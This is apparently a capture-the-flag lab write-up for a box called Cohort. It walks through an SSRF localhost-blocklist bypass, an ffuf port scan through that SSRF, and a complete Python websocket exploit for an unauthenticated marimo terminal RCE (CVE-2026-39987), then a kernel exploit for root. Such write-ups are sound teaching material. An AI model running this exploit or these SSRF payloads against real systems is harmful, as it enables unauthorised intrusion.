Cohort
Summary
Cohort is an easy Linux box built around a single misconfiguration: a Server-Side Request Forgery in the /api/validate endpoint. The internal-domain blocklist is trivially bypassed with the 0.0.0.0/0 aliases, turning the SSRF into an internal port scanner. Two findings matter: an internal marimo notebook on port 8888 and the cohort-edge status endpoint, which leaks the notebook's vhost (nb-1be3782a8afd3ad5.cohort.htb). The vhost is routed externally, so we hit it directly with CVE-2026-39987 (marimo unauthenticated terminal websocket RCE) for a shell as marimo, then reach root via the Pack2TheRoot kernel exploit.
Skills Required
- SSRF identification and blocklist bypass
- Internal port scanning through an SSRF
- Basic websocket exploitation
Skills Learned
- SSRF
0.0.0.0/0bypass for localhost filtering - Leveraging internal service discovery (status endpoints) for new vhosts
- Exploiting marimo terminal websocket RCE (CVE-2026-39987)
- Pack2TheRoot kernel exploit for privilege escalation
Enumeration
A full port scan reveals SSH plus HTTP/HTTPS on nginx, with a wildcard certificate for *.cohort.htb.
Starting Nmap 7.98 ( https://nmap.org ) at 2026-08-03 10:58 -0400 Nmap scan report for 10.129.159.201 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 80/tcp open http nginx 1.24.0 (Ubuntu) 443/tcp open ssl/http nginx 1.24.0 (Ubuntu) | ssl-cert: Subject: commonName=cohort.htb/organizationName=Cohort Analytics | Subject Alternative Name: DNS:cohort.htb, DNS:*.cohort.htb
After mapping 10.129.159.201 cohort.htb in /etc/hosts, directory enumeration turns up only api and assets. No subdomains or vhosts respond to brute force.
directories - https://cohort.htb api [Status: 301] assets [Status: 301]
Foothold
SSRF and the localhost bypass
The page at /portal.html contains an obvious SSRF primitive. Testing internal targets shows a blocklist, which is easily worked around.
http://localhost/ # error: internal domains are not allowed, work around it http://0.0.0.0/ # works http://0/ # works
Either alias resolves to loopback and returns the internal site's content:
<!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>Cohort Analytics</title> ... <script src="/assets/app.js" defer></script> </body> </html>
Internal port scan with ffuf
The SSRF POST lives at /api/validate. Fuzzing the port in the URL with ffuf maps what's listening locally, filtering out the baseline error response (-fs 86).
ffuf -w /usr/share/wordlists/ports.txt \
-X POST \
-H "Content-Type: application/json" \
-d '{"url":"http://0:FUZZ","format":"json"}' \
-u "https://cohort.htb/api/validate" -fs 86
80 [Status: 200, Size: 1077]
22 [Status: 200, Size: 58]
443 [Status: 200, Size: 412]
5000 [Status: 200, Size: 192]
8888 [Status: 200, Size: 1515]
Port 8888 stands out: it returns a marimo notebook login page. Marimo has a known RCE (CVE-2026-39987), but the service is bound to loopback and out of reach from our host.
cohort-edge status
The internal nginx on port 80 exposes a useful status endpoint at http://0:80/status.
{"service":"cohort-edge","status":"ok","generated_by":"nginx","upstreams":[
{"name":"marketing","host":"cohort.htb","root":"/var/www/cohort"},
{"name":"insights-api","host":"cohort.htb","path":"/api/","target":"127.0.0.1:5000"},
{"name":"notebooks","host":"nb-1be3782a8afd3ad5.cohort.htb","target":"127.0.0.1:8888","note":"internal analyst workspace, not for external use"}
]}
The notebooks upstream names the vhost for the marimo instance. Mapping nb-1be3782a8afd3ad5.cohort.htb to the box in /etc/hosts gives us direct access to run the CVE.
User Flag
marimo RCE - CVE-2026-39987
The marimo terminal websocket at /terminal/ws accepts connections with no authentication. The exploit connects and feeds commands through the PTY:
import asyncio, websockets, re
import ssl
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
async def exploit(host):
uri = f"wss://{host}/terminal/ws"
async with websockets.connect(uri, subprotocols=["terminal"], ssl=ssl_context) as ws:
print("[+] Connection established without authentication")
await asyncio.sleep(0.3)
# Read initial PTY banner
try:
msg = await asyncio.wait_for(ws.recv(), timeout=2)
print("[PTY banner]:", repr(msg))
except asyncio.TimeoutError:
pass
# Send command
await ws.send("id\n")
await asyncio.sleep(0.5)
# Read frames until timeout
output = []
while True:
try:
msg = await asyncio.wait_for(ws.recv(), timeout=1.5)
output.append(msg)
except asyncio.TimeoutError:
break
clean = re.sub(r'\x1b\[[0-9;?]*[a-zA-Z]', '', "".join(output)).strip()
print("[RCE output]:", clean)
asyncio.run(exploit("nb-1be3782a8afd3ad5.cohort.htb"))
The PTY tears the connection down as soon as the command finishes. Keep the socket alive while a real shell runs: await asyncio.sleep(999999) # keep the connection open indefinitely. Grab the user flag from the shell.
Privilege Escalation
LinPEAS surfaces the marimo process command line, which includes a plaintext token:
marimo 1621 0.2 1.4 291240 59032 ? Ssl 14:53 0:47 /opt/marimo/venv/bin/python3 /opt/marimo/venv/bin/marimo edit /home/marimo/notebooks/retention.py --headless --host 127.0.0.1 -p 8888 --token --token-password YKQ6iPyO5kusNx0BpVAPfjP5 --skip-update-check --no-sandbox
The token logs us into https://nb-1be3782a8afd3ad5.cohort.htb/, but that path is a rabbit hole. The reliable route to root is the Pack2TheRoot kernel exploit (0xdeadbeefnetwork/Pack2TheRoot). Compile the C file locally, transfer it to the victim with wget, and run it.
Root!
Key Takeaways
- Localhost blocklists are trivially bypassed - the
0.0.0.0and0aliases sailed past the internal-domain filter. - An SSRF is a port scanner - combined with response-size filtering it maps the internal network cheaply.
- Status endpoints leak topology -
cohort-edge/statushanded us the internal notebook hostname verbatim. - "Internal only" does not mean unreachable - once the vhost was known, reverse-proxy routing made the loopback service public.
- Read every process command line - plaintext secrets like the marimo token sit right in
psoutput. - Pick the exploit that works, not the shiny one - the notebook token path dead-ended; Pack2Root got root quickly.